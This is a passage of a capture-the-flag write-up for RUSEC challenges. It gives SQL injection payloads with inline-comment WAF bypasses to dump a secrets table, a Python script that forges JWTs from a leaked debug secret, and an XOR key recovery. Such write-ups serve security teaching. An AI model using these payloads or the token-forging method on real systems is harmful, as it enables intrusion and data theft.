  -H "Cookie: session_id=9f8e7d6c5b4a3210..."
```

This reveals an order search feature at `/api/admin/search?q=...`

**Step 3: SQL Injection with WAF Bypass**

The search parameter is vulnerable to SQL injection, but a WAF blocks common keywords. Bypass using inline comments:

```
# Blocked:
' OR 1=1--
' UNION SELECT * FROM secrets--

# Bypassed with inline comments:
'/**/OR/**/1=1--
'/**/UNION/**/SELECT/**/1,2,3,4,5--
```

**Step 4: Enumerate Database**

Find table names via `sqlite_master`:

```
GET /api/admin/search?q=%'/**/UNION/**/SELECT/**/name,sql,1,2,3/**/FROM/**/sqlite_master--
```

Reveals a `secrets` table with columns `key` and `value`.

**Step 5: Extract Flag**

```
GET /api/admin/search?q=%'/**/UNION/**/SELECT/**/key,value,1,2,3/**/FROM/**/secrets--
```

Response includes:

```json
{"key": "master_flag", "value": "RUSEC{S3ss10n_H1j4ck1ng_1s_Fun_2938}"}
```

#### Key Vulnerabilities

1. **Information Disclosure (CWE-200)**: Debug endpoint exposed session tokens
2. **Session Hijacking (CWE-384)**: No session binding to IP/user-agent
3. **SQL Injection (CWE-89)**: Unsanitized input in search query
4. **Insufficient WAF**: Inline comments bypass keyword filtering

#### Flag

`RUSEC{S3ss10n_H1j4ck1ng_1s_Fun_2938}`

### Mole in the Wall

#### Description

We just launched our new parent development company, Girlie Pop's Pizza Place! Packed with your favorite animatronics, we hold pizza parties and games galore! Sometimes Bonita the Yellow Rabbit has been acting a bit out of line recently however...

Hint: The animatronics get a bit quirky at night. They tend to get their security from a JSON in debug/config...

<https://girlypies.ctf.rusec.club>

#### Solution

1. Find the exposed debug config JSON that describes JWT requirements:

* `GET /debug/config/security.json` This shows HS256 and required claims: `department=security`, `role=nightguard`, `shift=night`.

2. Locate the JWT secret in the debug config directory:

* `GET /debug/config/.env` This returns JSON with `JWT_SECRET`.

3. Forge a JWT with the required claims and sign it using the secret, then submit it to `/login`.

* The response is a ZIP file.

4. Extract the ZIP. It contains:

* `logs/session.log` (an obfuscated token)
* `config/settings.xml` (API path `/api/run-flow`)
* A flow definition that decodes the session log by subtracting 1 from each ASCII code.

5. Decode `logs/session.log` and use the decoded string as the `input` for `/api/run-flow`.

* The correct input is `t#at_purpl3_guy`.

6. The API returns the flag.

Python repro (end-to-end):

```python
import io
import time
import zipfile
import requests
import jwt

base = "https://girlypies.ctf.rusec.club"

# 1) Read required JWT claims
sec = requests.get(f"{base}/debug/config/security.json").json()
req = sec["jwt"]["required_claims"]

# 2) Read JWT secret
secret = requests.get(f"{base}/debug/config/.env").json()["JWT_SECRET"]

# 3) Forge JWT and request ZIP
payload = {**req, "iat": int(time.time())}
token = jwt.encode(payload, secret, algorithm="HS256")
resp = requests.post(f"{base}/login", data={"token": token})

# 4) Extract ZIP and decode session.log
zf = zipfile.ZipFile(io.BytesIO(resp.content))
enc = zf.read("logs/session.log").decode()
decoded = "".join(chr(ord(c) - 1) for c in enc)

# 5) Call API
api = requests.post(f"{base}/api/run-flow", json={"input": decoded})
print(api.text)
```

#### Flag

`RUSEC{m1cro$oft_n3ver_mad3_g00d_aut0m4t1on}`

### Miss-Input

#### Description

The challenge page is fully client-side. A JavaScript helper `rw(key)` takes a user-supplied key, XOR-decrypts a fixed ciphertext, and only checks whether the decrypted string starts with `RUSEC{`. The “Submit” button never sends anything server-side. A tiny WASM module is provided but only contains XOR helpers and some debug arrays that are not invoked by the page logic. Goal: recover the XOR key and decrypt the ciphertext into a valid flag.

#### Solution

1. **Extract the ciphertext and algorithm** From the bundled JS:
   * Ciphertext (hex):

     ```
     1f6466740d2b0c070a187370017c6a757e071b686e70051b0c6e78007b611b670a704d
     ```
   * Decryption is repeating-key XOR:

     ```js
     plaintext[i] = ciphertext[i] ^ key[i % key_len];
     ```
   * The only check: `plaintext.startsWith("RUSEC{")`.
2. **Fix the key prefix from the known flag header** XOR the first bytes of the ciphertext with `RUSEC{`:

   ```python
   ct = bytes.fromhex("1f6466740d2b0c070a187370017c6a757e071b686e70051b0c6e78007b611b670a704d")
   key_prefix = bytes([c ^ p for c, p in zip(ct, b"RUSEC{")])
   print(key_prefix)  # b"M151NP"
   ```

   So any valid key must start with `M151NP`.
3. **Recover the full key by aligning with the intended plaintext theme** The hint (“MISINPUT … CALM DOWN … F DOWN!”) and leetspeak expectations lead to a natural plaintext candidate. XORing the ciphertext against that plaintext yields a consistent repeating key:

   ```python
   pt = b"RUSEC{Y0U_C4LM_D0WN_175_A_M151NPU7}"
   key = bytes([c ^ p for c, p in zip(ct, pt)])
   print(key)  # b"M151NPU7_G0D"
   ```
4. **Verify by decrypting with the recovered key**

   ```python
   full_key = b"M151NPU7_G0D"
   decrypted = bytes([c ^ full_key[i % len(full_key)] for i, c in enumerate(ct)])
   print(decrypted.decode())
   # RUSEC{Y0U_C4LM_D0WN_175_A_M151NPU7}
   ```

#### Flag

`RUSEC{Y0U_C4LM_D0WN_175_A_M151NPU7}`
